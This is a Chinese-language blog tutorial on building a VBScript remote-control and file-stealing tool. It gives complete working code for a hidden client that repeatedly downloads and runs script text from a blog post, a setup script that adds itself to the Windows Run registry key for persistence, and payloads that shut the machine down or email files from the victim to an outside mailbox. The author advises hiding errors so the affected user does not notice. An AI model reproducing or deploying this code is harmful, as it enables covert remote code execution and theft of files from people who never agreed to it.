写在前面
vbs是基于Visual Basic的脚本语言,全称是:Microsoft Visual Basic Script Edition(微软公司可视化BASIC脚本版)。与JavaScript相似,都可以镶嵌到HTML中去运行。第一次知道vbs是因为当时网上流行着一个电脑性别测试:打开记事本输入CreateObject("SAPI.SpVoice").Speak "I love YOU" 然后保存扩展名为*.vbs的文件后再打开这个文件就会听到一句I LOVE YOU。通过声音就可以辨别你的电脑的性别是男还是女。带着强烈的好奇心我百度了一下什么是vbs,由此了解到了vbs这个脚本语言,也因此有了用vbs实现远程控制和窃取文件的想法。我将从vbs基础、思路、客户端代码详解、服务端脚本选讲四个部分来讲解这个想法的具体实现过程。
一、vbs基础
vbs有很多功能如:处理文件和文件夹、直接处理Word, Excel, PowerPoint等Office文档、HTTP通信、调用系统功能(COM组件),语音说话、调用命令行并分析返回结果、分析HTML、模拟按键等。vbs也是Windows系统上的一个文件扩展名即.vbs,vbs这个文件扩展名关联到Windows脚本宿主。Windows脚本宿主位于C:\Windows\System32\wscript.exe,这个程序可以解释运行vbs文件,直接运行这个程序会有一些相关设置如图所示:
那么如何去写一个vbs脚本呢?很简单只需要记事本就足够了,打开记事本输入msgbox "test"然后保存为后辍为vbs的文件然后双击运行,不出意外的话结果如下:
那么msgbox是什么呢,msgbox是一个函数,功能是弹出一个对话框,"test"则是参数,test用双引号括起来表示它是一个字符串,test将显示在对话框中。至此已经完成了一个最简单的vbs脚本,vbs的教程百度一下有很多,这里给出一些:VBScript 教程 | 菜鸟教程,vbs基础教程,简单VBS教程。
二、思路
vbs文件实际上就是普通的文本文件即txt文件,只不过换成了vbs的扩展名用Windows脚本宿主打开运行。那么可以用vbs脚本去读取位于服务器端的一段文本,这段文本可以是HTML页面上的一段文本,也可以是服务器的某个文件中的一段文本,也可以位于服务器的数据库中,同时这段文本也是vbs代码,读取之后再保存为扩展名为vbs的文件并运行,这就实现了远程控制。我把放在客户端(客户端即被控制的电脑)的脚本称为客户端脚本,放在服务器端被读取的脚本称为服务端脚本。那么服务端脚本到底放在哪儿呢,我是放在新浪博客的博文正文当中的,因为新浪博客的博文URL地址固定,内容可以修改,用vbs脚本实现读取博文也容易实现。首先需要登陆新浪博客写一篇博文,在地址栏能看到博文的URL地址:
然后查看此页面的源代码:
可以发现博文的正文:msgbox "test"在源代码中位于一对
三、客户端脚本详解
客户端脚本由两个文件组成SystemLoop.vbs和SystemMain.vbs。我们先来说SystemMain.vbs,它的作用是根据博文URL和id属性获取博文正文保存到本地为vbs文件并运行,其代码如下:
On Error Resume Next
BlogURL = "http://blog.sina.com.cn/s/blog_8cd0115c0102wox7.html"
SaveFile = "D:\SystemRuning.vbs"
BlogCache = ""
Set Fso =Wscript.CreateObject("Scripting.FileSystemObject")
Set HTML = CreateObject("HtmlFile")
Set HTTP = CreateObject("Msxml2.ServerXMLHTTP")
HTTP.Open "GET", BlogURL, False
HTTP.Send
HTML.Write HTTP.ResponseText
Set BlogHTML = HTML.GetElementById("sina_keyword_ad_area2")
BlogText=BlogHTML.InnerText
If Fso.FileExists(SaveFile) Then
Set Ffile=Fso.OpenTextFile(SaveFile,1,True)
BlogCache=Ffile.ReadAll
Ffile.Close
End if
If BlogText<>BlogCache Then
Set FsoCTF = Fso.CreateTextFile(SaveFile, True)
FsoCTF.Write(BlogText)
FsoCTF.Close
Set Shell = CreateObject("Wscript.Shell")
Shell.Run SaveFile,0,ture
End If
第一行的On Error Resume Next的功能是此语句后的代码,如果产生错误也不提示,继续执行后面的语句。
第二到四行是三个字符串变量:BlogURL是博文的URL地址。SaveFile是一个vbs脚本的完整地址,这个vbs脚本保存着博文的正文。BlogCache也保存着博文的正文,读取博文正文后会与BlogCache比较,当它们不相等时即博文正文有修改时才执行后续代码,其作用是保证服务端脚本不被重复执行。
第五到七行创建了三个对象Fso、HTML和HTTP,Fso对象提供了文件操作相关的方法,HTML对象提供了解析html文档的相关方法,HTTP提供了与服务器端交互的相关方法。
接下来的两句为:HTTP.Open "GET", BlogURL, False和HTTP.Send,Open和Send是HTTP对象提供的两个方法。Open方法有三个参数,第一个参数是字符串类型表示请求的方式,这里设置为“GET”,第二个参数也是字符串类型表示目标URL地址,这里设置为BlogURL,第三个参数设置为false等待有返回数据的时候再继续往下走,还没有得到数据的时候就会卡在那里,直到获取数据为止。如果设置为true就是不等待,直接返回,这就是所谓的异步获取数据。
HTML.Write HTTP.ResponseText这一句当中,Write是HTML对象提供的方法,ResponseText是发送请求后服务器响应的html文档,这句的作用是将服务器响应的html文档写入到HTML对象中,用HTML对象来操作响应的html文档。
Set BlogHTML = HTML.GetElementById("sina_keyword_ad_area2")和BlogText=BlogHTML.InnerText这两句中,用HTML对象提供的GetElementById方法获取了id属性为"sina_keyword_ad_area2"的html元素,并赋值给创建的BlogHTML对象。这个html元素还不是博文内容,因为还有一个
接下来是一个if判断语句,if条件是Fso.FileExists(SaveFile),判断SaveFile所表示的文件是否存在(如果没有这个判断的话当文件不存在时就会出错),文件存在则打开SaveFile文件读取,读取内容赋值给BlogCache变量,然后关闭文件。
接下来又是一个if判断语句,BlogText是从博文上获取的,而BlogCache则是本地SaveFile文件的内容,当它们不相等时,也就是博文发生了改动时,创建SaveFile文件,即SystemRuning.vbs文件,写入文本,关闭文件,然后创建Shell对象运行SystemRuning.vbs文件。
只用一个SystemMain.vbs文件还是不够的,因为只能运行一次,我们希望脚本能够在后台一直运行下去,这就需要另一个文件SystemLoop.vbs文件,其内容如下:
On Error Resume Next
Set Fso=Wscript.CreateObject("Scripting.FileSystemObject")
MainFile="D:\SystemMain.vbs"
Do
Wscript.Sleep 10000
Dim wmi
Set wmi=GetObject("winmgmts://./root/cimv2")
Set xxx=wmi.ExecQuery("Select * From Win32_PingStatus Where Address='www.baidu.com'")
For Each u In xxx
If u.statuscode = 0 Then
If Fso.FileExists(MainFile)=True Then
Set Shell=CreateObject("Wscript.Shell")
Shell.run MainFile,0,Ture
End If
End If
Next
Loop
Do
Wscript.Sleep 10000
……
Loop
这部分的代码块表示每10秒钟执行一次
Dim wmi
Set wmi=GetObject("winmgmts://./root/cimv2")
Set xxx=wmi.ExecQuery("Select * From Win32_PingStatus Where Address='www.baidu.com'")
For Each u In xxx
If u.statuscode = 0 Then
'联网则执行这部分代码块
End If
Next
这部分代码块用于判断是否联网,如果缺少这个判断在断网的情况下会出错
Set Shell=CreateObject("Wscript.Shell")
Shell.run MainFile,0,Ture
只有联网的时候才允许运行SystemMain.vbs文件
除了SystemLoop.vbs和SystemMain.vbs以外还有两个文件为Setup.vbs和Uninstall.vbs,作用是修改注册表使其开机启动以及安装和卸载,这两个文件的功能也可以手动去完成,下面是它们的代码:
On Error Resume Next
FileRuningPath = CreateObject("Scripting.FileSystemObject").GetFile(Wscript.ScriptFullName).ParentFolder.Path
MainFile="SystemMain.vbs"LoopFile="SystemLoop.vbs"
TargetFilePath="D:\"
Set Fso=Wscript.CreateObject("Scripting.FilesystemObject")
Fso.CopyFile FileRuningPath&"\"&Mainfile,TargetFilePath,ture
Fso.CopyFile FileRuningPath&"\"&Loopfile,TargetFilePath,ture
Set oShell=CreateObject("Wscript.Shell")
oShell.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\SystemWorkstation",TargetFilePath&LoopFile
oShell.Run TargetFilePath&LoopFile,0,ture
Msgbox("Setup,OK!")
On Error Resume Next
MainFile="SystemMain.vbs"
LoopFile="SystemLoop.vbs"
ScratchFile="SystemRuning.vbs"
TargetFilePath="D:\"
Set Fso = CreateObject("Scripting.FileSystemObject")
If Fso.FileExists(TargetFilePath&MainFile) Then
Fso.DeleteFile(TargetFilePath&MainFile)
End If
If Fso.FileExists(TargetFilePath&LoopFile) Then
Fso.DeleteFile(TargetFilePath&LoopFile)
End If
If Fso.FileExists(TargetFilePath&ScratchFile) Then
Fso.DeleteFile(TargetFilePath&ScratchFile)
End If
Set Ws=createobject("wscript.shell")
Ws.Regdelete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\SystemWorkstation"
Msgbox("Uninstall,OK!")
Setup.vbs的功能是将SystemMain.vbs,SystemLoop.vbs两个文件复制到D盘(也可以修改TargetFilePath字符串改为其他的路径,这里注意一下目标位置不能有这两个文件,如果有应当先删除再运行Setup.vbs文件),然后添加注册表使SystemLoop.vbs文件能够开机启动,最后运行SystemLoop.vbs文件。修改注册表开机启动也可以手动完成,方法如下:按Win+R打开运行,输入regedit打开注册表,找到“HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run”打开后,点右键点“新建字符串值”,新值上点右键点“重命名”,自己可以任意命名,然后双击打开对话框,在“数值数据”栏输入SystemLoop.vbs文件所在的完整路径和文件名,点击确定就搞定了,如图所示:
Uninstall.vbs的功能则是删除SystemMain.vbs和SystemLoop.vbs,并删除相关的注册表项。
四、服务端脚本选讲
客户端脚本已经可以实现读取服务端脚本并运行,想要实现什么样的功能比如想要让客户端关机,那么服务器端脚本可以这么写:
dim WSHshell
set ws=wscript.createobject("wscript.shell")
ws.run "shutdown -s -t 0"
这样就可以实现自动关机,其中0可以修改,表示倒计时的时间。想要实现别的功能很容易百度到,这里只再讲下如何实现用电子邮箱传送文件,代码如下(代码中有六处需要读者去填入):
Ffile="1、邮箱附件(位于客户端)的完整地址"
Set Fso=WScript.CreateObject("Scripting.FileSystemObject")
NameSpace = "http://schemas.microsoft.com/cdo/configuration/"
Set Email = CreateObject("CDO.Message")
Email.From = "2、发送邮箱"
Email.To = "3、接受邮箱"
If Fso.FileExists(Ffile) Then
Email.Subject = "文件存在见附件"
Email.Htmlbody = date&" "&time&" "&"文件路径为:"&Ffile
Email.AddAttachment Ffile
Else
Email.Subject = "文件不存在"
Email.Htmlbody = date&" "&time&" "&"文件路径为:"&Ffile
End If
With Email.Configuration.Fields
.Item(NameSpace&"sendusing") = 2
.Item(NameSpace&"smtpserver") = "4、smtp服务器地址"
.Item(NameSpace&"smtpserverport") = 25
.Item(NameSpace&"smtpauthenticate") = 1
.Item(NameSpace&"sendusername") = "5、发送邮箱"
.Item(NameSpace&"sendpassword") = "6、发送邮箱密码"
.update
End With
Email.Send
这段vbs脚本是用smtp协议发送邮件,首先需要到发送邮件的邮箱设置中去开启smtp协议,然后需要替换掉上面脚本的1、邮箱附件的完整地址,2、发送邮箱,3、接受邮箱,4、smtp服务器地址,5、发送邮箱和6、发送邮箱密码即可。发送邮箱建议使用网易163邮箱,其smtp服务器地址为:smtp.163.com。
服务端脚本需要注意要保证脚本不出错且完全后台运行,当脚本出错的时候会弹出错误会被客户端的用户发现,这是我们要避免的。我们可以在脚本的第一行添加如下代码:On Error Resume Next 作用是跳过错误继续执行而不弹出错误。除此以外,SystemLoop.vbs、SystemMain.vbs和在运行中生成的SystemRuning.vbs这三个文件需要添加安全软件的信任,并且需要发送邮件时安全软件将有可能拦截也需要添加信任才行。